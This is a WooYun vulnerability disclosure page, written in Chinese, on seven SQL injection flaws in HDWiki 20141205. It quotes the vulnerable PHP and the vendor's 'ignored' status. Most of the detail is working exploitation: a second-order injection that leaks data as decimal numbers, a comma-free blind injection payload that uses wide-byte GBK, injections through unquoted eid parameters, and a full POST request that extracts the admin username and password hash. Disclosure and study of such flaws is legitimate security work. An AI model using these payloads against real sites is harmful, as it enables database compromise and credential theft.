Hdwiki (20141205) 存在7处SQL注入漏洞（含之前处理不当安全的漏洞）

漏洞概要关注数(24) 关注此漏洞

缺陷编号：wooyun-2014-088004

漏洞标题：Hdwiki (20141205) 存在7处SQL注入漏洞（含之前处理不当安全的漏洞）

漏洞作者： ′雨。

提交时间：2014-12-22 19:26

修复时间：2015-04-02 10:23

公开时间：2015-04-02 10:23

漏洞类型：SQL注射漏洞

危害等级：高

自评Rank：20

漏洞状态：漏洞已经通知厂商但是厂商忽略漏洞

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签：无

4人收藏收藏
分享漏洞：

漏洞详情

披露状态：

2014-12-22：细节已通知厂商并且等待厂商处理中
2014-12-27：厂商主动忽略漏洞，细节向第三方安全合作伙伴开放
2015-02-20：细节向核心白帽子及相关领域专家公开
2015-03-02：细节向普通白帽子公开
2015-03-12：细节向实习白帽子公开
2015-04-02：细节向公众公开

简要描述：

看到更新了, 有几个老洞还没修复也随便放到这里面来说了。

详细说明：

0x01 在control/comment.php 中

function doreport(){
		$usernames=array();
		$id=intval($this->post['id']) ? $this->post['id'] : 0;
		$report=trim(htmlspecialchars(WIKI_CHARSET==GBK?string::hiconv($this->post['report']):$this->post['report']));
		if(empty($id)||empty($report)){
			$this->message(-1,'',2);
		}
		$users=$_ENV["user"]->get_users('groupid',4);
		if(!(bool)$users){
			$this->message(-2,'',2);
		}else{
			foreach($users as $user){
				$usernames[]=$user['username'];
			}
		}
		$sendto=join(',',$usernames);
		$subject=$this->view->lang['commentReportObj'];
		if($this->user['uid']=='0'){
			$from=$this->ip;
		}else{
			$from=$this->user['username'];
		}
		$comment=$this->db->fetch_by_field('comment','id',$id);// 这里出了个裤。
		
		if(!(bool)$comment){
			$this->message(-1,'',2);
		}
	
		$doc=$this->db->fetch_by_field('doc','did',$comment['did']);
		$doc['title'] =htmlspecialchars(stripslashes($doc['title']));
		$report=$this->view->lang['commentCom'].$this->view->lang['commentUser'].$comment['author'].'<br/>'
				.$this->view->lang['commentCom'].$this->view->lang['commentTime'].$this->date($comment['time'])."<br/>"
				.$this->view->lang['commentId'].$comment['id'].'<br/>'.$this->view->lang['commentsDocTitle'].$doc['title']."<br/>"
				.$this->view->lang['commentContent'].$comment['comment'].'<br/>'
				.$this->view->lang['commentReportReason'].$report;//这里把出库的$comment写到了$report中
		$sendarray = array(
				'sendto'=>$sendto,
				'subject'=>$subject,
				'content'=>$report,//带入数组
				'isdraft'=>1,
				'user'=>$this->user
			);
		$_ENV['pms']->send_ownmessage($sendarray);

function send_ownmessage($sendarray){
		$pmsresult = true;
		$isdraft = ($sendarray['isdraft'] === 'on')? 1 : 0;
		$userinfo = $this->check_recipient($sendarray['sendto'],1);
		$num = count($userinfo);
		if($num > 0){
			$pmsquery = "INSERT INTO ".DB_TABLEPRE."pms (`from`,`fromid`,`drafts`,`toid`,`to`,`subject`,`message`,`time`,`new`) VALUES ";
			for($i=0; $i<$num; $i++){
				$pmsquery .= "('".$sendarray['user']['username']."','".$sendarray['user']['uid']."','".$isdraft."','".$userinfo[$i]['uid']."','".$userinfo[$i]['username']."','".$sendarray['subject']."','".$sendarray['content']."','".$this->base->time."',1),";	//无过滤 又直接带入到了insert当中
			}
			$pmsquery = substr($pmsquery,0,-1) . ';';
			$pmsresult = $this->db->query($pmsquery);
		}
		return $pmsresult;
	}

词条的评论（共1条）返回词条
xiaoyu 时间：12-19 00:47
test'//我们随便找一个词条 然后我们自己先去评论一条 这里评论了test'
     // 然后点击举报 看看执行的语句  INSERT INTO wiki_pms (`from`,`fromid`,`drafts`,`toid`,`to`,`subject`,`message`,`time`,`new`) VALUES ('xiaoyu','2','0','1','admin','评论举报专用','评论作者：xiaoyu<br/>评论时间：12-19 00:47<br/>评论ID：8<br/>评论词条名：xiaoyuxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxasd<br/>评论内容：test'<br/>举报原因teet','1418921320',1) 
评论内容：test' 这里出库了。

这里的怎么回显让我纠结了很久。
INSERT INTO wiki_pms (`from`,`fromid`,`drafts`,`toid`,`to`,`subject`,`message`,`time`,`new`) VALUES ('xiaoyu','2','0','1','admin','评论举报专用','评论作者：xiaoyu 评论时间：12-19 00:47 评论ID：8 评论词条名：xiaoyuxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxasd 评论内容：test' 举报原因teet','1418921320',1)
这里会把我们的message的内容回显出来,在发送邮件的那里。这里是发给了管理员但是我们的发件箱可以看到。后面还剩了一个time 和 new 都是不会显示出来的而且hdwiki没mysql error 所以不会报错。二次注入的话盲注会很麻烦,所以像办法直接出数据。
INSERT INTO wiki_pms (`from`,`fromid`,`drafts`,`toid`,`to`,`subject`,`message`,`time`,`new`) VALUES ('xiaoyu','2','0','1','admin','评论举报专用','评论作者：xiaoyu 评论时间：12-19 00:47 评论ID：8 评论词条名：a 评论内容：test'+123,1,1)# 举报原因teet','1418921320',1)
评论内容：test'+123 mysql +不能连接字符串只能加一个数字。加字符是加不进去的
一开始是想的hex 但是hex 也会有字符。然后就是想的把16进制转换成10进制
10进制就没数字了撒然后完整的就是

举报后进入自己的发件箱

标题收件人时间
评论举报专用 admin 01-01 08:00
1919905652
转发删除关闭
可以看到这样的发件的。看 1919905652 这个转16进制得726f6f74 然后加上0x726f6f74
再把HEX编码回来得root 这样一次截取的字符不能太多太多了数字太大会报错。
0x02 control/doc.php

function docheckrecipient(){
		$sendto = $this->post['sendto'];
		if (WIKI_CHARSET == 'GBK'){
			$sendto = string::hiconv($sendto,'GBK','UTF-8',1);//转码
		}
		$send = explode(',',$sendto);
		if(count($send)>10){
			$this->message($this->view->lang['fullsend'],'',2);
		}
		$checkreturn = $_ENV['pms']->check_recipient($sendto,0);
		$message = ($checkreturn === true)? 'OK' : ($checkreturn.' '.$this->view->lang['loginTip3']);
		$this->message($message,'',2);
	}

function hiconv($str,$to='',$from='',$force=false) {
		if (empty($str)) return $str;
		if(!preg_match( '/[\x80-\xff]/', $str)) return $str; // is contain chinese char
		if(empty($to)){
			if ('utf-8' == strtolower(WIKI_CHARSET)){
				return $str;
			}
			$to=WIKI_CHARSET;
		}
		if(empty($from)){
			$from = ('gbk'==strtolower($to)) ? 'utf-8':'gbk';
		}
		$to=strtolower($to);
		$from=strtolower($from);
		//$isutf8=preg_match( '/^([\x00-\x7f]|[\xc0-\xdf][\x80-\xbf]|[\xe0-\xef][\x80-\xbf]{2}|[\xf0-\xf7][\x80-\xbf]{3})+$/', $str );
		$re = strlen($str) > 6 ? '/([\xe0-\xef][\x80-\xbf]{2}){2}/' : '/[\xe0-\xef][\x80-\xbf]{2}/';
		$isutf8 = preg_match($re, $str);
		//$force = (substr($to, 0, 3) == 'utf') ? true : $force;
		if(!$force && $isutf8 && $to=='utf-8' ) return $str;//当force为1的时候才不会return 这里的点force刚好为1
		if(!$force && !$isutf8 && $to=='gbk' ) return $str;
		if (function_exists('iconv')){
			$str = iconv($from, $to, $str);//转码 宽字节 绕过转义符
		}else{
			require_once(HDWIKI_ROOT.'/lib/Chinese.class.php');
			$ch = new chinese($from,$to);
			if('utf-8'==$from){
				$str = addslashes($ch->convert(stripslashes($str)));
			}else{
				$str = $ch->convert($str);
			}
		}
		return $str;
	}

function check_recipient($sendto, $type){
		$userinfos = array();
		$send = array_unique(explode(',', $sendto));//这里把逗号替换了 注定不能用逗号了。
		sort($send);
		$num = count($send);
		$sendto = str_replace(",", "','", $sendto);
		$query = $this->db->query("SELECT username,uid FROM ".DB_TABLEPRE."user WHERE username IN ('$sendto')");
		if($this->db->num_rows($query) == $num && $type != 1){
			return true;
		}

盲注之。
http://web/dan/hdwiki//index.php?pms-checkrecipient
sendto=a%E9%8C%A6%27) or CASE WHEN(substr((select username from wiki_user where uid=1) from 1 for 1) in (char(97))) THEN (1) ELSE (0) end limit 1#
//bypass逗号的盲注语句。
97对应的是a 当第一位是a的时候返回ok

当不对应时直接错误。写个脚本直接跑很简单的判断。
0x03 control/doc.php中

function dochangename(){
		$ajaxtitle = trim($this->post['newname']);
		if(string::hstrtoupper(WIKI_CHARSET)=='GBK'){
			$ajaxtitle=string::hiconv($ajaxtitle,'gbk','utf-8','true');//force为1 转码 绕过转义符
		}
		$title=string::substring(string::stripscript($_ENV['doc']->replace_danger_word(trim($ajaxtitle))),0,80);
		if(@!is_numeric($this->post['did'])){
			$this->message("-1","",2);
		}elseif($ajaxtitle!=string::stripscript($ajaxtitle)){
			$this->message("-3","",2);
		}elseif(!$title){
			$this->message("-4","",2);
		}elseif(@(bool)$this->db->fetch_by_field('doc','title',$title)){//这里带入查询
			$this->message("-2","",2);
		}elseif(@(bool)$this->db->fetch_by_field('synonym','srctitle',$title)){
			$this->message("-5","",2);
		}elseif($_ENV['doc']->change_name($this->post['did'],$title)){
			$_ENV['synonym']->synonym_change_doc($this->post['did'],$title);
			// ֪ͨ
			if(1 == $this->setting['cloud_search']) {
				// ༭ ֪ͨ
				$_ENV['search']->cloud_change(array('dids'=>$this->post['did'],'mode'=>'2'));
			}

这个跟上个差不多就不多说了。
0x04 control/edition.php

function doremove(){
		$did=isset($this->post['did'])?$this->post['did']:$this->get[2];
		$eids=isset($this->post['eid'])?$this->post['eid']:array($this->get[3]);//post来
		foreach($eids as $eid){ 
			if(!is_numeric($eid)&&!is_numeric($did)){
//这里判断是不是数字 如果是不是数字的话 直接返回错误了。 但是这里有个问题是 当$eids为数组的时候才会进foreach 如果不是数组 那么就不会进这个判断 这里我们直接提交一个字符串
				$this->message($this->view->lang['parameterError'],'BACK',0);
			}
		}
		
		$result=$_ENV['doc']->remove_edition($eids, $did);//带入查询

function remove_edition($eid, $did=0){
		if(is_array($eid)){
			$eid=implode(",",$eid);
		}
		$sql="INSERT INTO ".DB_TABLEPRE."recycle (type,keyword,content,file,adminid,admin,dateline) values ";
		$query=$this->db->query("SELECT * FROM ".DB_TABLEPRE."edition WHERE eid IN ($eid)");//这里eid没单引号
		$delete_count = array();
		while($edition=$this->db->fetch_array($query)){

0x05 依旧control/edition.php

function doexcellent(){
		foreach(@$this->post['eid'] as $eid){
			if(!is_numeric($eid)){//一样的逻辑错误
				$this->message($this->view->lang['parameterError'],'BACK',0);
			}
		}
	
		$result=$_ENV['doc']->set_excellent_edition($this->post['eid']);

function set_excellent_edition($eid,$type=1){
		if(is_array($eid)){
			$eid=implode(",",$eid);
		}
		$type=(bool)$type?1:0;
		$this->db->query("UPDATE ".DB_TABLEPRE."edition SET excellent=$type WHERE eid IN ($eid)");//依旧没单引号 可注入
		return true;

跟上面个差不多不多说了。
0x06 control/doc.php中

function docreate(){
		if(4 != $this->user['groupid'] && ($this->time-$this->user['regtime'] < $this->setting['forbidden_edit_time']*60)){
			$this->message($this->view->lang['editTimeLimit1'].$this->setting['forbidden_edit_time'].$this->view->lang['editTimeLimit2'],'BACK',0);
		}
		if($this->setting['verify_doc'] == -1) { //首次编辑审核
			if($this->setting['max_newdocs'] != 0 && $this->user['newdocs'] >= $this->setting['max_newdocs']) {
				$this->message('您的首次可创建或编辑词条数的数量已达最大值,请等待管理员审核', 'BACK', 0);
			}
		}
if($this->setting['checkcode']!=3 && $this->setting['doc_verification_create_code'] && strtolower($this->post['code'])!=$_ENV['user']->get_code()){
				$this->message($this->view->lang['codeError'],'BACK',0);
			}
			if(@trim($this->post['content'])==''||@trim($this->post['title'])==''){
				$this->message($this->view->lang['contentIsNull'],'BACK',0);
			}
			$doc['title']=string::substring(string::stripscript($_ENV['doc']->replace_danger_word(trim($this->post['title']))),0,80);//这里关键点 对POST来的截取了字符 
这里大概的意思是 假如说一段代码截取4个字符 那么我们就提交一个aaa' 然后转义成aaa\' 截取字符后就是aaa\ 这里同理
		
			$_doc=$this->db->fetch_by_field('doc','title',$doc['title']);
			if((bool)$_doc && !empty($_doc['content'])){
				$this->message($this->view->lang['createDocTip5'],'BACK',0);
			}
			if(!(bool)$_ENV['category']->vilid_category($this->post['category'])){
				$this->message($this->view->lang['categoryNotExist'],'BACK',0);
			}
			if((bool)$this->post['summary']){
				$doc['summary']=trim(strip_tags($_ENV['doc']->replace_danger_word($this->post['summary'])));
			}
			$doc['did']=intval($this->post['did']);
			$doc['letter']=string::getfirstletter($this->post['title']);
			$doc['category']=$this->post['category'];
			//$doc['tags']=$_ENV['doc']->jointags($this->post['tags']);
			$doc['tags']=$this->post['tags'];
			$doc['tags']=$_ENV['doc']->replace_danger_word($doc['tags']);
			$doc['tags'] = htmlspecialchars(string::stripscript($doc['tags']));
			
			$doc['content'] = $_ENV['doc']->replace_danger_word($this->post['content']);
			$doc['content'] = preg_replace('/(<embed.*?(?:allowscriptaccess)=)\\\?([\'"]?)(\w*?)\\\?\2(.*?>)/i','$1$2never$2$4',$doc['content']);//将embed标签中的allowscriptaccess属性设置为never
			$doc['content'] = preg_replace('/(<embed(?:(?!allowscriptaccess).)+?)(>)/i','$1 allowscriptaccess="never" $2',$doc['content']);//将embed标签中如果不存在allowscriptaccess属性则添加属性并设为never
			$doc['content'] = addslashes(string::stripscript(stripslashes($doc['content'])));
			$doc['content'] = $this->setting['auto_picture']?$_ENV['doc']->auto_picture($doc['content'],$doc['did']):$doc['content'];
			$doc['summary'] = trim(strip_tags($_ENV['doc']->replace_danger_word($doc['summary'])));//去除敏感词
			$doc['summary'] = (bool)$doc['summary']?$doc['summary']:$doc['content'];
			$doc['summary'] = trim(string::convercharacter(string::substring(strip_tags($doc['summary']),0,100)));//去除换行符截断字符串
			$doc['summary'] = htmlspecialchars(addslashes(stripslashes(string::stripscript(strip_tags($doc['summary'])))));//去除特殊字符 去除javascript代码
			$doc['images']=util::getimagesnum($doc['content']);
			$doc['time']=$this->time;
			$doc['words']=string::hstrlen($doc['content']);
			$doc['visible']=$this->setting['verify_doc'] != 0 ? '0' : '1';
      
			if(strpos($this->user['regulars'], 'doc-immunity') === false && 4 != $this->user['groupid']) {
				if(!$_ENV['doc']->check_submit_interval($this->user['uid'])) {
					if($this->setting['save_spam']) {
						$doc['visible'] = 0;
					} else {
						$this->message(sprintf($this->view->lang['submit_interval_msg'], $this->setting['submit_min_interval']),"BACK",0);
					}
				}
				if(!$_ENV['doc']->check_eng_pcnt($doc['content']) || !$_ENV['doc']->check_extlink_pcnt($doc['content'])) {
					if($this->setting['save_spam']) {
						$doc['visible'] = 0;
					} else {
						$this->message($this->view->lang['spam_msg'],"BACK",0);
					}
				}
			}
			if(strpos($this->user['regulars'], 'doc-immunity') !== false || 4 == $this->user['groupid'] || !$this->setting['verify_doc'] || ($this->setting['verify_doc'] == -1 && $this->user['newdocs'] == -1)){
				$doc['visible'] = 1;
			}
			if($this->setting['verify_doc'] == -1) { //首次编辑审核
				if($this->user['newdocs'] != -1) {
					$_ENV['user']->update_newdocs($this->user['uid'], +1);
				}
			}
			if($doc['visible'] == 1){
				$_ENV['user']->add_credit($this->user['uid'],'doc-create',$this->setting['credit_create'],$this->setting['coin_create']);
			}
			/*foreach($this->post['tags'] as $search_tags){
				$doc['search_tags'] .=string::convert_to_unicode($search_tags).";";
			}*/
	  
			$did=$_ENV['doc']->add_doc($doc);//这里这里 带入入库入库了。
			$_ENV['user']->update_field('creates',$this->user['creates']+1,$this->user['uid']);
	
<code>function add_doc($doc) {
		$editions = ($this->base->setting['base_createdoc']==1)?1:0;
		$doc['title'] = trim($doc['title']);
	
		if ($doc['did']){
	
			$this->db->query("REPLACE INTO ".DB_TABLEPRE."doc
			(did,letter,title,tag ,summary ,content,author,authorid,time,lastedit,lasteditor,lasteditorid,visible,editions)
			VALUES (".$doc['did'].",'".$doc['letter']."','".$doc['title']."','".$doc['tags']."','".$doc['summary']."','".$doc['content']."',
			'".$this->base->user['username']."','".$this->base->user['uid']."',
			".$doc['time'].",".$doc['time'].",'".$this->base->user['username']."','".$this->base->user['uid']."','".$doc['visible']."',$editions)");
			$did = $doc['did'];
			$this->db->query("DELETE FROM ".DB_TABLEPRE."autosave WHERE did=".$did." AND uid=".$this->base->user['uid']);
		}else{
			$this->db->query("INSERT INTO ".DB_TABLEPRE."doc
			(letter,title,tag ,summary ,content,author,authorid,time,lastedit,lasteditor,lasteditorid,visible,editions)
			VALUES ('".$doc['letter']."','".$doc['title']."','".$doc['tags']."','".$doc['summary']."','".$doc['content']."',
			'".$this->base->user['username']."','".$this->base->user['uid']."',
			".$doc['time'].",".$doc['time'].",'".$this->base->user['username']."','".$this->base->user['uid']."','".$doc['visible']."',$editions)");
			$did = $this->db->insert_id();
			$this->add_doc_category($did, $doc['category']);
			$this->db->query("DELETE FROM ".DB_TABLEPRE."autosave WHERE did=".$did." AND uid=".$this->base->user['uid']);
		}
		if($this->base->setting['base_createdoc']==1){
			$this->db->query("INSERT INTO ".DB_TABLEPRE."edition
			(did,author,authorid,time,ip,title,tag,summary,content,words,images )
			VALUES ($did,'".$this->base->user['username']."','".$this->base->user['uid']."',
			'".$doc['time']."','".$this->base->ip."','".$doc['title']."','".$doc['tags']."','".$doc['summary']."','".$doc['content']."','".$doc['words']."','".$doc['images']."')");
		}
		return $did;
	}

$doc['title']."','".$doc['tags'] 刚好这截取字符的后面跟的是一个post来的那么就可以注入了。
后面看了下这个洞竟然被提交过了 WooYun: hdwiki sql注射漏洞
但是我觉得xxx牛给的利用很不完美啊。至少在我这个版本/* 是不成功的
在php中/* 能直接注释掉后面的东西但是mysql很多版本都需要在后面接*/才能注释掉
一开始我也在这语句上纠结了很久我们先来看一下这个语句
REPLACE INTO wiki_doc
(did,letter,title,tag ,summary ,content,author,authorid,time,lastedit,lasteditor,lasteditorid,visible,editions)
VALUES (56,'x','xiaoyuxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxasd\',',user(),1,1,1,1,1,1,1,1#','asd','asd ',
'xiaoyu','2',
1418925356,1418925356,'xiaoyu','2','1',0)
是这样的他换行了。就是因为这个换行让人蛋疼。
首先我们知道# -- 都是单行注释这个多行注释/* 在mysql中又需要接*/
后面的我们是不可控的所以也没办法利用这里我们还是得来接我们的单行注释
一共14个column 换行了后的有8个column 所以我们前面需要接6个column
56,'x','xiaoyuxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxasd\',' 这里是三个所以我们构造一下
56,'x','xiaoyuxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxasd\',',1,1,1 这样就是6个了。在1后面还需要构造一个, 为的就是和下面换行了的连接起来然后再注释掉这一行后面的那么最终语句就是
REPLACE INTO wiki_doc
(did,letter,title,tag ,summary ,content,author,authorid,time,lastedit,lasteditor,lasteditorid,visible,editions)
VALUES (56,'x','xiaoyuxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxasd\',',concat(user(),0x23,version()),user(),(select concat(username,0x2c,password) from wiki_user where uid=1),#','asd','asd ',
'xiaoyu','2',
1418925356,1418925356,'xiaoyu','2','1',0)

POST /dan/hdwiki/index.php?doc-create HTTP/1.1
Host: web
User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:12.0) Gecko/20100101 Firefox/12.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Proxy-Connection: keep-alive
Referer: http://web/dan/hdwiki/index.php?doc-create
Cookie: ECS[visit_times]=6; themeIndexTom=2; KT-GUID=KT-C3DD75C5698EA55255357D6602C6136C; KT-ADMIN=admin; 17cplastvisit=1418373539; 17cplastactivity=0; __utma=242480388.119574638.1418373557.1418373557.1418373557.1; __utmz=242480388.1418373557.1.1.utmccn=(direct)|utmcsr=(direct)|utmcmd=(none); hd_sid=7YD9xP; hd_auth=b37eKa64aWjTOOSABPRfh3bnxRh50jO7TfArgwNT1RGI1HzWq11B2XSpwCG%2BKaHUwNFm9NRHXZ2nR5JUNbvW
Content-Type: multipart/form-data; boundary=---------------------------41184676334
Content-Length: 1534
-----------------------------41184676334
Content-Disposition: form-data; name="did"
56
-----------------------------41184676334
Content-Disposition: form-data; name="section_id"
-----------------------------41184676334
Content-Disposition: form-data; name="create_submit"
1
-----------------------------41184676334
Content-Disposition: form-data; name="title"
xiaoyuxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxasd\
-----------------------------41184676334
Content-Disposition: form-data; name="category"
3
-----------------------------41184676334
Content-Disposition: form-data; name="content"
<p>asd<br /></p>
-----------------------------41184676334
Content-Disposition: form-data; name="letter"
asd
-----------------------------41184676334
Content-Disposition: form-data; name="tags"
,concat(user(),0x23,version()),user(),(select concat(username,0x2c,password) from wiki_user where uid=1),#
-----------------------------41184676334
Content-Disposition: form-data; name="code"
-----------------------------41184676334
Content-Disposition: form-data; name="publishsubmit"
·à2?
-----------------------------41184676334--
Content-Disposition: form-data; name="tags"
,user(),user(),user(),user(),1,1,1,1,1,1,1)#
-----------------------------491299511942
Content-Disposition: form-data; name="code"
-----------------------------491299511942
Content-Disposition: form-data; name="publishsubmit"
·à2?
-----------------------------491299511942--

成功执行。

直接出数据。
0x07 control/pms.php中

function doblacklist(){
		if(isset($this->post['blacklist'])){
			$blacklist = htmlspecialchars(string::stripscript($this->post['blacklist']));
			if(empty($blacklist)){
				$result = $_ENV['pms']->remove_blacklist($this->user['uid']);
			}else{
				$result = $_ENV['pms']->add_blacklist($blacklist,$this->user['uid']);

function add_blacklist($blacklist,$uid){
		return($this->db->query("REPLACE INTO ".DB_TABLEPRE."blacklist (uid,blacklist) VALUES('$uid','$blacklist')"));
	}//入库

function dobox(){
		$this->get[3] = empty($this->get[3]) ? NULL : $this->get[3];
		$page = max(1,isset($this->get[4]) ? $this->get[4] : $this->get[3]);
		$num = isset($this->setting['list_prepage'])?$this->setting['list_prepage']:20;
		$start_limit = ($page - 1) * $num;		
		$count = $_ENV['pms']->get_totalpms($this->user['uid'], $this->get[2]);//出库

function get_blacklist($uid){
		$user = $this->db->fetch_first("SELECT blacklist FROM ".DB_TABLEPRE."blacklist WHERE uid='".$uid."'");
		return $user['blacklist'];

$blackuser = str_replace(",","','",$blacklist);
		
				if($group){
					$sqladd = ($group == 'owner') ? 'AND og=0' : 'AND og=1';
				}
				$query = "SELECT COUNT(*) num FROM ".DB_TABLEPRE."pms WHERE toid='$uid' AND delstatus!=2 AND drafts!=1 $sqladd AND `from`

这个老洞也没修复 WooYun: Hdwiki设计缺陷知邮箱可改密码（包括管理员）试试修复了把。

漏洞证明：

修复方案：

无尽的过滤。

版权声明：转载请注明来源 ′雨。@乌云

漏洞回应

厂商回应：

危害等级：无影响厂商忽略

忽略时间：2015-04-02 10:23

WooYun.org

漏洞概要关注数(24) 关注此漏洞

缺陷编号：wooyun-2014-088004

漏洞标题：Hdwiki (20141205) 存在7处SQL注入漏洞（含之前处理不当安全的漏洞）

相关厂商：互动在线（北京）科技有限公司

漏洞作者： ′雨。

提交时间：2014-12-22 19:26

修复时间：2015-04-02 10:23

公开时间：2015-04-02 10:23

漏洞类型：SQL注射漏洞

危害等级：高

自评Rank：20

漏洞状态：漏洞已经通知厂商但是厂商忽略漏洞

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签：无

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漏洞详情

披露状态：

简要描述：

详细说明：

漏洞证明：

修复方案：

版权声明：转载请注明来源 ′雨。@乌云

漏洞回应

厂商回应：

厂商回复：

最新状态：

WooYun.org

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2014-088004

漏洞标题：Hdwiki (20141205) 存在7处SQL注入漏洞（含之前处理不当安全的漏洞）

相关厂商：互动在线（北京）科技有限公司

漏洞作者： ′雨。

提交时间：2014-12-22 19:26

修复时间：2015-04-02 10:23

公开时间：2015-04-02 10:23

漏洞类型：SQL注射漏洞

危害等级：高

自评Rank：20

漏洞状态：漏洞已经通知厂商但是厂商忽略漏洞

Tags标签： 无

4人收藏 收藏 var token=""; var id="wooyun-2014-088004"; $(".btn-fav").click(function(){ CollectBug(id,token); }); 分享漏洞：

漏洞详情

披露状态：

简要描述：

详细说明：

漏洞证明：

修复方案：

版权声明：转载请注明来源 ′雨。@乌云

漏洞回应

厂商回应：

厂商回复：

最新状态：

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Tags标签：无

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